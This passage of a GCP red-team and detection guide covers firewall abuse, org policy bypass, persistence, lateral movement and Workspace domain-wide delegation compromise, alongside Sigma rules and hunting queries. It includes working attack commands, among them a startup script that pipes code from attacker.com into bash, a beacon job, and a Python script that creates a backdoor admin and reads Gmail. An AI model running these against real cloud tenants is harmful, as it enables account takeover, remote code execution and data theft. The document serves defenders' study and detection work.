- Every VPC has implied deny-all ingress and allow-all egress rules
- Default VPC comes with permissive firewall rules (SSH/RDP from 0.0.0.0/0)
Firewall Rule Exploitation
# Enumerate all rules
gcloud compute firewall-rules list --format=json
# Find rules allowing 0.0.0.0/0
gcloud compute firewall-rules list \
--filter="sourceRanges:('0.0.0.0/0')" \
--format="table(name,direction,allowed[].map().firewall_rule().list():label=ALLOWED,targetTags,targetServiceAccounts)"
# Create permissive rule (if you have compute.firewalls.create)
gcloud compute firewall-rules create backdoor-rule \
--network default \
--allow tcp:4444 \
--source-ranges 0.0.0.0/0 \
--target-tags my-tag
# Apply tag to instance
gcloud compute instances add-tags INSTANCE --tags my-tag --zone ZONE
VPC Service Controls
VPC Service Controls create security perimeters around GCP resources:
- Restrict API access to resources inside the perimeter
- Block data exfiltration via GCS copy, BigQuery export, etc.
- Require access from authorized networks/identities
Bypass considerations:
- If you're inside the perimeter, controls don't apply
- Access levels (IP/device/identity conditions) may have gaps
- Ingress/egress policies may be overly permissive
Network Security Checklist
- Delete default VPC or restrict its firewall rules
- Use custom VPCs with least-privilege firewall rules
- Enable VPC Flow Logs on all subnets
- Use Private Google Access for internal-only API access
- Deploy Cloud NAT instead of external IPs
- Enable Firewall Rules Logging
- Implement VPC Service Controls for sensitive projects
- Use Shared VPC for centralized network management
- Enable Cloud Armor for internet-facing load balancers
- Use IAP for administrative access instead of SSH from internet
DETECTION OPPORTUNITY: Monitor compute.firewalls.create and compute.firewalls.update. Alert on rules with sourceRanges: 0.0.0.0/0. Enable VPC Flow Logs and monitor for anomalous traffic patterns. Alert on VPC Service Controls policy changes.
11. Organization Policies
Security-Critical Org Policy Constraints
| Constraint | Effect |
|---|---|
constraints/iam.disableServiceAccountCreation |
Block new SA creation |
constraints/iam.disableServiceAccountKeyCreation |
Block SA key creation (critical) |
constraints/compute.vmExternalIpAccess |
Restrict which VMs get public IPs |
constraints/compute.restrictSharedVpcSubnetworks |
Restrict Shared VPC subnet access |
constraints/storage.publicAccessPrevention |
Block public GCS buckets |
constraints/storage.uniformBucketLevelAccess |
Enforce uniform bucket IAM |
constraints/iam.allowedPolicyMemberDomains |
Restrict IAM to specific domains |
constraints/compute.disableNestedVirtualization |
Block nested VMs |
constraints/compute.disableSerialPortAccess |
Block serial port access |
constraints/compute.requireOsLogin |
Enforce OS Login |
constraints/gcp.restrictServiceUsage |
Restrict which APIs can be enabled |
constraints/sql.restrictPublicIp |
Block public Cloud SQL |
constraints/run.allowedIngress |
Restrict Cloud Run ingress |
Org Policy Exploitation
If attacker has orgpolicy.policy.set:
# Disable SA key creation restriction
gcloud org-policies reset constraints/iam.disableServiceAccountKeyCreation \
--project=TARGET_PROJECT
# Now create keys freely
gcloud iam service-accounts keys create key.json \
--iam-account=TARGET_SA@PROJECT.iam.gserviceaccount.com
Org Policy Best Practices
- Enable
constraints/iam.disableServiceAccountKeyCreationat org level - Enforce
constraints/storage.publicAccessPreventioneverywhere - Restrict
constraints/iam.allowedPolicyMemberDomainsto your domain - Require OS Login via
constraints/compute.requireOsLogin - Block public Cloud SQL via
constraints/sql.restrictPublicIp - Use dry-run mode to test before enforcement
DETECTION OPPORTUNITY: Monitor orgpolicy.policy.set in Admin Activity logs. Alert on ANY org policy changes — these should be rare and require change management.
12. Cloud Audit Logs & Detection Engineering
Audit Log Types
| Log Type | Always On? | Content |
|---|---|---|
| Admin Activity | Yes (cannot disable) | Config/metadata changes (IAM, resource CRUD) |
| Data Access | No (off by default, except BigQuery) | Data reads, config reads |
| System Event | Yes (cannot disable) | Google-initiated config changes |
| Policy Denied | Yes (cannot disable) | Access denied by security policy |
Log Storage
| Bucket | Contents | Mutable? |
|---|---|---|
_Required |
Admin Activity + System Event | No — immutable, cannot be excluded |
_Default |
Data Access + Policy Denied | Yes — configurable retention, exclusion |
Critical Events to Monitor
# IAM Changes
protoPayload.methodName="SetIamPolicy"
protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"
protoPayload.methodName="google.iam.admin.v1.CreateServiceAccount"
protoPayload.methodName="google.iam.admin.v1.CreateRole"
protoPayload.methodName="google.iam.admin.v1.UpdateRole"
# Credential Operations
protoPayload.methodName="GenerateAccessToken"
protoPayload.methodName="SignBlob"
protoPayload.methodName="SignJwt"
# Compute Changes
protoPayload.methodName="v1.compute.instances.setMetadata"
protoPayload.methodName="v1.compute.projects.setCommonInstanceMetadata"
protoPayload.methodName="v1.compute.firewalls.insert"
protoPayload.methodName="v1.compute.firewalls.update"
protoPayload.methodName="v1.compute.instances.insert"
# Storage
protoPayload.methodName="storage.setIamPolicy"
protoPayload.methodName="storage.hmacKeys.create"
# Cloud Functions
protoPayload.methodName="google.cloud.functions.v1.CloudFunctionsService.CreateFunction"
protoPayload.methodName="google.cloud.functions.v1.CloudFunctionsService.UpdateFunction"
# Org Policy
protoPayload.methodName="SetOrgPolicy"
protoPayload.methodName="google.cloud.orgpolicy.v2.OrgPolicy.CreatePolicy"
# Data Exfiltration Indicators
protoPayload.methodName="storage.objects.get" # Bulk reads (Data Access log)
protoPayload.methodName="bigquery.jobs.insert" # Large queries
protoPayload.methodName="v1.compute.disks.createSnapshot" # Disk exfiltration
Log-Based Alerting Setup
# Create log-based metric for SA key creation
gcloud logging metrics create sa-key-creation \
--description="Service account key creation events" \
--log-filter='protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"'
# Create alerting policy
gcloud alpha monitoring policies create \
--notification-channels=CHANNEL_ID \
--display-name="SA Key Creation Alert" \
--condition-display-name="SA key created" \
--condition-filter='metric.type="logging.googleapis.com/user/sa-key-creation"' \
--condition-threshold-value=0 \
--condition-threshold-comparison=COMPARISON_GT
Log Sink Configuration for SIEM
# Export all audit logs to BigQuery for analysis
gcloud logging sinks create audit-to-bq \
bigquery.googleapis.com/projects/PROJECT/datasets/audit_logs \
--log-filter='logName:"cloudaudit.googleapis.com"' \
--organization=ORG_ID \
--include-children
# Export to Pub/Sub for real-time SIEM ingestion
gcloud logging sinks create audit-to-siem \
pubsub.googleapis.com/projects/PROJECT/topics/audit-logs \
--log-filter='logName:"cloudaudit.googleapis.com"' \
--organization=ORG_ID \
--include-children
Logs Explorer Queries
# All IAM policy changes in last 24h
logName:"cloudaudit.googleapis.com/activity"
protoPayload.methodName="SetIamPolicy"
timestamp>="2026-03-13T00:00:00Z"
# Failed authentication attempts
logName:"cloudaudit.googleapis.com/policy"
protoPayload.status.code=7
# Service account impersonation
logName:"cloudaudit.googleapis.com/data_access"
protoPayload.methodName="GenerateAccessToken"
# Cross-project access
logName:"cloudaudit.googleapis.com/activity"
protoPayload.authenticationInfo.principalEmail!~"@PROJECT.iam.gserviceaccount.com"
13. Post-Exploitation & Persistence
Persistence Mechanisms
1. Service Account Key Creation
# Create persistent key for high-privilege SA
gcloud iam service-accounts keys create backdoor.json \
--iam-account=admin-sa@PROJECT.iam.gserviceaccount.com
# Key remains valid until explicitly deleted (10-year default expiry)
MITRE: T1098.001
2. IAM Policy Backdoor
# Add a binding for an external account
gcloud projects add-iam-policy-binding PROJECT \
--member=user:attacker@external-domain.com \
--role=roles/editor
MITRE: T1098.001
3. Cloud Function Trigger Backdoor
# Deploy function triggered by Cloud Storage events
gcloud functions deploy backdoor \
--trigger-resource=BUCKET \
--trigger-event=google.storage.object.finalize \
--runtime=python310 \
--source=. \
--service-account=HIGH_PRIV_SA@PROJECT.iam.gserviceaccount.com
# Any file upload to bucket triggers attacker code
MITRE: T1546 (Event Triggered Execution)
4. Cloud Scheduler Persistence
gcloud scheduler jobs create http callback \
--schedule="0 */6 * * *" \
--uri="https://attacker.com/beacon" \
--oidc-service-account-email=SA@PROJECT.iam.gserviceaccount.com
MITRE: T1053.007
5. Startup Script Backdoor
gcloud compute instances add-metadata INSTANCE --zone ZONE \
--metadata startup-script='#!/bin/bash
# Re-establish C2 on every boot
curl -s https://attacker.com/agent | bash'
MITRE: T1059 (Command and Scripting Interpreter)
6. SSH Key Persistence (Project-Wide)
gcloud compute project-info add-metadata \
--metadata-from-file ssh-keys=keys_with_backdoor.txt
MITRE: T1098.004 (SSH Authorized Keys)
7. Workload Identity Pool Backdoor
# Add external IdP as trusted provider
gcloud iam workload-identity-pools providers create-oidc backdoor-provider \
--workload-identity-pool=POOL \
--location=global \
--issuer-uri=https://attacker-idp.com \
--attribute-mapping="google.subject=assertion.sub"
# Grant pool access
gcloud projects add-iam-policy-binding PROJECT \
--member="principalSet://iam.googleapis.com/projects/NUM/locations/global/workloadIdentityPools/POOL/*" \
--role=roles/editor
MITRE: T1556 (Modify Authentication Process)
8. Custom Role Modification
# Add permissions to an existing custom role
gcloud iam roles update CustomRole --project PROJECT \
--add-permissions=iam.serviceAccountKeys.create
MITRE: T1098
9. HMAC Key Persistence
gsutil hmac create SA@PROJECT.iam.gserviceaccount.com
# Store the access key and secret — provides persistent storage access
# Less monitored than SA key creation
MITRE: T1098.001
10. API Key Creation
# Undocumented API for persistent API key
curl -X POST \
"https://apikeys.googleapis.com/v2/projects/PROJECT_NUMBER/locations/global/keys" \
-H "Authorization: Bearer TOKEN"
MITRE: T1098.001
Anti-Forensics Considerations
- Admin Activity logs CANNOT be disabled or deleted (immutable in
_Requiredbucket) - Data Access logs can be disabled (check if they're on)
- Log exclusion filters can silently drop specific log entries
- Custom log sinks can redirect logs away from default buckets
- Consider using a compromised SA that already has frequent legitimate API calls (blending)
14. Lateral Movement
Cross-Instance Movement
# 1. Enumerate all instances
gcloud compute instances list --format="table(name,zone,networkInterfaces[0].networkIP,networkInterfaces[0].accessConfigs[0].natIP)"
# 2. Check internal firewall rules
gcloud compute firewall-rules list --filter="direction=INGRESS AND sourceRanges=('10.0.0.0/8' OR '172.16.0.0/12' OR '192.168.0.0/16')"
# 3. Default VPC allows all internal traffic
# SSH from compromised instance to others on same VPC
ssh -i stolen_key user@INTERNAL_IP
Cross-Project Movement
# Check what projects your SA has access to
gcloud projects list
# Switch project context
gcloud config set project OTHER_PROJECT
# Repeat all enumeration for each project
gcloud compute instances list
gcloud storage ls
gcloud iam service-accounts list
Workspace/G Suite Pivoting
# Check for domain-wide delegation
# Web console: IAM > Service Accounts > check "domain-wide delegation" column
# No gcloud command for this
# If delegation exists:
# 1. Impersonate a Workspace admin
# 2. Access Gmail, Drive, Calendar, Admin SDK
# See Section 15
Service-to-Service Movement
Compute Instance (SA token)
→ Cloud Functions (deploy with same/diff SA)
→ Cloud Run (deploy container)
→ Cloud SQL (connect with SA)
→ BigQuery (query data)
→ GCS (access buckets)
→ GKE (access cluster API)
→ Pub/Sub (publish/subscribe)
→ Secret Manager (read secrets)
Network-Based Movement
# VPC Peering — peered networks can route to each other
gcloud compute networks peerings list
# Shared VPC — host project provides networking to service projects
gcloud compute shared-vpc list-associated-resources HOST_PROJECT
# Private Service Connect — private access to published services
gcloud compute forwarding-rules list --filter="target:pscConnection"
DETECTION OPPORTUNITY: Monitor cross-project API calls (callerIp/principalEmail from different projects). Alert on unusual SA activity across projects. Enable VPC Flow Logs to detect lateral network traffic.
15. G Suite / Workspace Compromise
Domain-Wide Delegation Attack
Prerequisites:
- Compromised SA with domain-wide delegation enabled
- SA key file or impersonation capability
- Knowledge of a Workspace admin email
Attack Flow:
from google.oauth2 import service_account
from googleapiclient.discovery import build
SCOPES = [
'https://www.googleapis.com/auth/admin.directory.user',
'https://www.googleapis.com/auth/admin.directory.group',
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive',
]
credentials = service_account.Credentials.from_service_account_file(
'compromised-key.json',
scopes=SCOPES,
subject='admin@target-domain.com' # Impersonate admin
)
# Create new admin account
admin_service = build('admin', 'directory_v1', credentials=credentials)
admin_service.users().insert(body={
'primaryEmail': 'backdoor@target-domain.com',
'password': 'RANDOM_PASSWORD',
'name': {'givenName': 'IT', 'familyName': 'Support'},
'orgUnitPath': '/',
'isAdmin': True,
}).execute()
# Read Gmail
gmail_service = build('gmail', 'v1', credentials=credentials)
messages = gmail_service.users().messages().list(userId='ceo@target-domain.com').execute()
# Access Drive
drive_service = build('drive', 'v3', credentials=credentials)
files = drive_service.files().list().execute()
Tool: gcp_delegation.py (from HackingTheCloud research):
./gcp_delegation.py --keyfile ./credentials.json \
--impersonate admin@target-domain.com \
--domain target-domain.com \
--account backdoor-admin
Impact: Full Workspace compromise — Gmail, Drive, Calendar, user management, MFA settings, password resets.
DETECTION OPPORTUNITY: Monitor Workspace admin audit logs for user creation, role changes, and delegation modifications. Alert on SA-originated Workspace API calls. Monitor for new admin accounts.
16. Tooling Reference
Offensive Tools
| Tool | Purpose | Key Commands |
|---|---|---|
| gcloud CLI | Native GCP management | gcloud auth, gcloud compute, gcloud iam |
| gsutil | Cloud Storage operations | gsutil ls, gsutil cp, gsutil iam |
| CloudFox | 60-command GCP security assessment | cloudfox gcp privesc, cloudfox gcp iam, cloudfox gcp lateral-movement |
| GCP Scanner | Credential access assessment | gcp_scanner -o output/ |
| GCPBucketBrute | Bucket enumeration/permission testing | gcpbucketbrute.py -k keyword |
| GCP-IAM-Privilege-Escalation | 17 privesc exploit scripts + scanner | enumerate_member_permissions.py, check_for_privesc.py |
| gcp_firewall_enum | Firewall rule parsing, nmap/masscan generation | Parses gcloud output |
| ScoutSuite | Multi-cloud security auditing | scout --provider gcp |
| Prowler | GCP security assessment (CIS benchmarks) | prowler gcp |
CloudFox GCP Commands (60 Commands)
Identity & Access:
whoami— Current identity contextiam— Enumerate principals across org/folder/project hierarchypermissions— Full permission inheritance explosionserviceaccounts— SA security enumerationservice-agents— Google-managed service agentskeys— SA keys, HMAC keys, API keys discoveryprivesc— Privilege escalation path identificationhidden-admins— Detect principals with indirect admin capabilitiesdomain-wide-delegation— Find SAs with Workspace integrationfoxmapper— Graph-based IAM analysis for privesc pathsresource-iam— IAM policies on resources (buckets, datasets, secrets)identity-federation— Workload Identity Federation analysisworkload-identity— GKE Workload Identity mapping
Compute & Infrastructure:
instances— GCE instances with security configgke— GKE cluster security analysiscloudrun— Cloud Run services/jobsfunctions— Cloud Functions assessmentapp-engine— App Engine enumerationcomposer,dataproc,dataflow— Big data platformsnotebooks— Vertex AI Workbench
Data & Storage:
storage— GCS buckets with security configstorage-enum— Scan buckets for sensitive files (credentials, secrets, configs)bigquery— BigQuery datasets/tablesbigquery-enum— Sensitive data via schema analysiscloudsql,spanner,bigtable,filestore,memorystore— Database enumerationspanner-enum,bigtable-enum— Sensitive column/table name discovery
Network:
vpc-networks— VPC analysisfirewall— VPC firewall rules with security analysisloadbalancers— LB discoverydns— Cloud DNS enumerationendpoints— All network endpoints (external/internal)private-service-connect— PSC enumerationnetwork-topology— VPC relationship visualizationvpc-sc— VPC Service Controls policy analysis
Security & Compliance:
kms— Cloud KMS keys analysissecrets— Secret Manager discoverycert-manager— SSL/TLS certificatesorg-policies— Org policy weakness identificationcloud-armor— Cloud Armor vulnerability detectioniap— Identity-Aware Proxy configbeyondcorp— BeyondCorp Enterprise setup
Attack Path Analysis:
lateral-movement— Map lateral movement paths and credential theft vectorsdata-exfiltration— Identify exfiltration paths and missing hardeningpublic-access— Find allUsers/allAuthenticatedUsers across 16+ servicescross-project— Cross-project IAM, logging sinks, Pub/Sub exports
CI/CD & Development:
artifact-registry— Container registry assessmentcloudbuild— Build trigger enumerationsource-repos— Cloud Source Repository discoveryscheduler— Cloud Scheduler analysispubsub— Pub/Sub topics/subscriptionslogging— Cloud Logging sinks/metricslogging-enum— Credential/token discovery in logs
Enterprise:
organizations— Org hierarchy mappinginventory— Quick resource inventoryasset-inventory— Cloud Asset Inventorybackup-inventory— Backup policy enumerationaccess-levels— Access Context Manager
GCP Scanner (google/gcp_scanner)
Purpose: Evaluate credential access levels — assess impact of VM compromise, SA key leak, or token theft.
pip install gcp_scanner
# Scan using metadata server credentials
gcp_scanner -o results/ -m
# Scan using gcloud profile
gcp_scanner -o results/ -g profile_name
# Scan using SA key
gcp_scanner -o results/ -s sa-key.json
# Scan using refresh token
gcp_scanner -o results/ -r token
# Scan specific project
gcp_scanner -o results/ -p project-id -s key.json
Supported resources: GCE, GCS, GKE, App Engine, Cloud SQL, BigQuery, Spanner, Pub/Sub, Cloud Functions, BigTable, KMS, Cloud Services.
Key advantage over Google Policy Analyzer: works with compromised credentials without needing additional API enablement.
17. GCP ATT&CK Mapping
Reconnaissance (TA0043)
| Technique | GCP Implementation |
|---|---|
| T1526 — Cloud Service Discovery | gcloud services list, gcloud projects list |
| T1580 — Cloud Infrastructure Discovery | gcloud compute instances list, CloudFox inventory |
| T1538 — Cloud Service Dashboard | GCP Console access |
Initial Access (TA0001)
| Technique | GCP Implementation |
|---|---|
| T1078.004 — Valid Accounts: Cloud | Stolen SA keys, OAuth tokens |
| T1190 — Exploit Public-Facing Application | Cloud Functions/Run with public access |
| T1199 — Trusted Relationship | Workload Identity Federation misconfiguration |
Execution (TA0002)
| Technique | GCP Implementation |
|---|---|
| T1648 — Serverless Execution | Cloud Functions/Cloud Run deployment |
| T1059 — Command and Scripting | Startup scripts, Cloud Shell |
| T1053.007 — Scheduled Task: Cloud | Cloud Scheduler jobs |
Persistence (TA0003)
| Technique | GCP Implementation |
|---|---|
| T1098.001 — Additional Cloud Credentials | SA key creation, HMAC keys, API keys |
| T1098.004 — SSH Authorized Keys | Metadata SSH key injection |
| T1546 — Event Triggered Execution | Cloud Function event triggers |
| T1556 — Modify Authentication Process | Workload Identity pool backdoor |
Privilege Escalation (TA0004)
| Technique | GCP Implementation |
|---|---|
| T1078.004 — Valid Accounts: Cloud | SA impersonation, token theft |
| T1548 — Abuse Elevation Control | setIamPolicy, actAs, signBlob |
| T1578 — Modify Cloud Compute | Deployment Manager escalation |
Defense Evasion (TA0005)
| Technique | GCP Implementation |
|---|---|
| T1562.008 — Disable Cloud Logs | Disable Data Access logs, modify log sinks |
| T1550.001 — Application Access Token | Stolen/minted OAuth tokens |
| T1578.002 — Create Cloud Instance | Spin up instances in different regions |
Credential Access (TA0006)
| Technique | GCP Implementation |
|---|---|
| T1552.005 — Cloud Instance Metadata API | Metadata server token extraction |
| T1528 — Steal Application Access Token | gcloud credential files, environment variables |
| T1606 — Forge Web Credentials | signBlob/signJwt for SA tokens |
Discovery (TA0007)
| Technique | GCP Implementation |
|---|---|
| T1087.004 — Cloud Account Discovery | gcloud iam service-accounts list, gcloud organizations get-iam-policy |
| T1580 — Cloud Infrastructure Discovery | Instance, network, storage enumeration |
| T1613 — Container and Resource Discovery | GKE cluster, pod, namespace enumeration |
Lateral Movement (TA0008)
| Technique | GCP Implementation |
|---|---|
| T1021.004 — SSH | Metadata SSH key injection, OS Login |
| T1550.001 — Application Access Token | Cross-project SA token use |
| T1021 — Remote Services | GKE API, Cloud SQL, internal VPC access |
Collection (TA0009)
| Technique | GCP Implementation |
|---|---|
| T1530 — Data from Cloud Storage | GCS bucket data access |
| T1213 — Data from Information Repositories | BigQuery, Spanner, Cloud SQL queries |
| T1114.002 — Remote Email Collection | G Suite delegation → Gmail access |
Exfiltration (TA0010)
| Technique | GCP Implementation |
|---|---|
| T1537 — Transfer Data to Cloud Account | Cross-project GCS copy, BigQuery export |
| T1567 — Exfiltration Over Web Service | Cloud Functions/Run as exfil endpoints |
| T1048 — Exfiltration Over Alternative Protocol | GCS signed URLs, Pub/Sub |
Impact (TA0040)
| Technique | GCP Implementation |
|---|---|
| T1485 — Data Destruction | gsutil rm -r, delete instances/databases |
| T1486 — Data Encrypted for Impact | KMS key destruction (ransomware) |
| T1496 — Resource Hijacking | Crypto mining on compromised instances |
| T1531 — Account Access Removal | Remove IAM bindings, delete SAs |
18. Detection Rules & Hunting Queries
Sigma Rules
title: GCP Service Account Key Creation
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects creation of service account keys which may indicate credential persistence
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName: google.iam.admin.v1.CreateServiceAccountKey
condition: selection
falsepositives:
- Legitimate key rotation by IAM administrators during scheduled maintenance
- CI/CD pipeline SA key provisioning (should use Workload Identity instead)
level: high
tags:
- attack.t1098.001
- attack.persistence
title: GCP IAM Policy Modified to Add External Member
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects IAM policy changes adding members from external domains
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName: SetIamPolicy
filter_internal:
serviceData.policyDelta.bindingDeltas.member|contains: '@company-domain.com'
condition: selection and not filter_internal
falsepositives:
- Authorized cross-org collaboration adding partner accounts
level: critical
tags:
- attack.t1098.001
- attack.persistence
title: GCP Compute Instance Metadata SSH Key Injection
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects SSH key injection via instance or project metadata modification
logsource:
product: gcp
service: cloudaudit
detection:
selection_instance:
methodName: v1.compute.instances.setMetadata
selection_project:
methodName: v1.compute.projects.setCommonInstanceMetadata
condition: selection_instance or selection_project
falsepositives:
- System administrators performing authorized SSH key rotation
level: high
tags:
- attack.t1098.004
- attack.persistence
- attack.lateral_movement
title: GCP Organization Policy Modification
id: d4e5f6a7-b8c9-0123-defa-234567890123
status: experimental
description: Detects changes to organization policies which may disable security constraints
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName:
- SetOrgPolicy
- google.cloud.orgpolicy.v2.OrgPolicy.CreatePolicy
- google.cloud.orgpolicy.v2.OrgPolicy.UpdatePolicy
- google.cloud.orgpolicy.v2.OrgPolicy.DeletePolicy
condition: selection
falsepositives:
- Authorized org policy updates during infrastructure provisioning
level: critical
tags:
- attack.t1562.008
- attack.defense_evasion
title: GCP Service Account Impersonation via Token Generation
id: e5f6a7b8-c9d0-1234-efab-345678901234
status: experimental
description: Detects service account token generation indicating potential impersonation
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName:
- GenerateAccessToken
- GenerateIdToken
- SignBlob
- SignJwt
condition: selection
falsepositives:
- Workload Identity Federation token exchanges (expected for federated workloads)
- Authorized SA impersonation in multi-tier architectures
level: high
tags:
- attack.t1550.001
- attack.credential_access
title: GCP Cloud Function Deployed with Non-Default Service Account
id: f6a7b8c9-d0e1-2345-fabc-456789012345
status: experimental
description: Detects Cloud Function deployment with explicitly set service account which may indicate privilege escalation
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName:
- google.cloud.functions.v1.CloudFunctionsService.CreateFunction
- google.cloud.functions.v1.CloudFunctionsService.UpdateFunction
condition: selection
falsepositives:
- Legitimate function deployments by authorized developers
level: medium
tags:
- attack.t1648
- attack.execution
- attack.privilege_escalation
title: GCP Firewall Rule Created Allowing Public Access
id: a7b8c9d0-e1f2-3456-abcd-567890123456
status: experimental
description: Detects firewall rule creation allowing ingress from 0.0.0.0/0
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName:
- v1.compute.firewalls.insert
- v1.compute.firewalls.update
- v1.compute.firewalls.patch
condition: selection
falsepositives:
- Authorized public-facing service deployments
- Load balancer health check rules
level: high
tags:
- attack.t1562.007
- attack.defense_evasion
title: GCP Storage Bucket Made Public
id: b8c9d0e1-f2a3-4567-bcde-678901234567
status: experimental
description: Detects IAM policy change on storage bucket adding allUsers or allAuthenticatedUsers
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName: storage.setIamPolicy
keywords:
- allUsers
- allAuthenticatedUsers
condition: selection and keywords
falsepositives:
- Intentional public bucket for static website hosting (should use CDN instead)
level: critical
tags:
- attack.t1530
- attack.collection
title: GCP Disk Snapshot Created Outside Maintenance Window
id: c9d0e1f2-a3b4-5678-cdef-789012345678
status: experimental
description: Detects disk snapshot creation which may indicate data exfiltration preparation
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName: v1.compute.disks.createSnapshot
condition: selection
falsepositives:
- Scheduled backup operations
- Disaster recovery testing
level: medium
tags:
- attack.t1537
- attack.exfiltration
title: GCP Workload Identity Pool Provider Created
id: d0e1f2a3-b4c5-6789-defa-890123456789
status: experimental
description: Detects creation of new workload identity pool providers which may establish external trust
logsource:
product: gcp
service: cloudaudit
detection:
selection:
methodName:
- google.iam.v1.WorkloadIdentityPoolProviders.CreateWorkloadIdentityPoolProvider
- CreateWorkloadIdentityPoolProvider
condition: selection
falsepositives:
- Authorized federation setup with approved external identity providers
level: critical
tags:
- attack.t1556
- attack.persistence
BigQuery Hunting Queries
-- All privilege escalation indicators in last 7 days
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS actor,
protopayload_auditlog.methodName AS method,
protopayload_auditlog.resourceName AS resource,
protopayload_auditlog.requestMetadata.callerIp AS source_ip
FROM `project.dataset.cloudaudit_googleapis_com_activity_*`
WHERE _TABLE_SUFFIX >= FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
AND protopayload_auditlog.methodName IN (
'google.iam.admin.v1.CreateServiceAccountKey',
'google.iam.admin.v1.CreateServiceAccount',
'SetIamPolicy',
'GenerateAccessToken',
'SignBlob',
'SignJwt',
'v1.compute.instances.setMetadata',
'v1.compute.projects.setCommonInstanceMetadata',
'google.cloud.functions.v1.CloudFunctionsService.CreateFunction',
'google.cloud.functions.v1.CloudFunctionsService.UpdateFunction',
'SetOrgPolicy'
)
ORDER BY timestamp DESC;
-- Service accounts with keys created in last 30 days
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS creator,
protopayload_auditlog.resourceName AS service_account,
protopayload_auditlog.requestMetadata.callerIp AS source_ip
FROM `project.dataset.cloudaudit_googleapis_com_activity_*`
WHERE _TABLE_SUFFIX >= FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY))
AND protopayload_auditlog.methodName = 'google.iam.admin.v1.CreateServiceAccountKey'
ORDER BY timestamp DESC;
-- Cross-project access patterns
SELECT
protopayload_auditlog.authenticationInfo.principalEmail AS actor,
resource.labels.project_id AS target_project,
COUNT(*) AS api_calls,
ARRAY_AGG(DISTINCT protopayload_auditlog.methodName LIMIT 10) AS methods
FROM `project.dataset.cloudaudit_googleapis_com_activity_*`
WHERE _TABLE_SUFFIX >= FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
AND protopayload_auditlog.authenticationInfo.principalEmail NOT LIKE '%@PROJECT.iam.gserviceaccount.com'
GROUP BY actor, target_project
HAVING api_calls > 10
ORDER BY api_calls DESC;
-- Unusual metadata server access patterns (Data Access logs required)
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS actor,
protopayload_auditlog.methodName AS method,
protopayload_auditlog.resourceName AS resource
FROM `project.dataset.cloudaudit_googleapis_com_data_access_*`
WHERE _TABLE_SUFFIX >= FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
AND protopayload_auditlog.methodName LIKE '%GenerateAccessToken%'
ORDER BY timestamp DESC;
GCP Security Command Center Findings to Monitor
| Finding Category | Source | Priority |
|---|---|---|
| Public bucket | SCC | Critical |
| Open firewall (0.0.0.0/0 SSH/RDP) | SCC | High |
| SA key age > 90 days | SCC | Medium |
| Default SA with Editor role | SCC | High |
| Publicly accessible Cloud SQL | SCC | Critical |
| KMS key not rotated | SCC | Medium |
| Disabled audit logging | SCC | High |
| ABAC enabled on GKE | SCC | High |
| GKE without Workload Identity | SCC | High |
| Missing VPC Flow Logs | SCC | Medium |
Quick Reference — GCP Security Assessment Checklist
Initial Enumeration
# Identity
gcloud auth list
gcloud config list
gcloud auth print-access-token
# Organization
gcloud organizations list
gcloud organizations get-iam-policy ORG_ID
# Projects
gcloud projects list
gcloud projects get-iam-policy PROJECT
# Service Accounts
gcloud iam service-accounts list
gcloud iam service-accounts get-iam-policy SA_EMAIL
gcloud iam service-accounts keys list --iam-account SA_EMAIL
# Compute
gcloud compute instances list
gcloud compute firewall-rules list
gcloud compute networks list
gcloud compute networks subnets list
# Storage
gsutil ls
gsutil ls -L gs://BUCKET
# GKE
gcloud container clusters list
gcloud container clusters describe CLUSTER --zone ZONE
# Functions
gcloud functions list
gcloud functions describe FUNCTION
# Cloud Run
gcloud run services list
# Cloud SQL
gcloud sql instances list
# Secrets
gcloud secrets list
# KMS
gcloud kms keyrings list --location global
# APIs enabled
gcloud services list --enabled
# Org Policies
gcloud org-policies list --project PROJECT
# Custom Roles
gcloud iam roles list --project PROJECT
Priority Checks
- Default service accounts with Editor role
- SA keys that exist (should use Workload Identity instead)
- Public buckets / allUsers bindings
- Firewall rules with 0.0.0.0/0 source
- GKE clusters without Workload Identity
- Missing Data Access audit logs
- Org policy constraints not enforced
- Domain-wide delegation on service accounts
- VPC Service Controls gaps
- Custom roles with dangerous permissions
This document is CIPHER training material for authorized security assessments. All techniques require explicit authorization before use in production environments.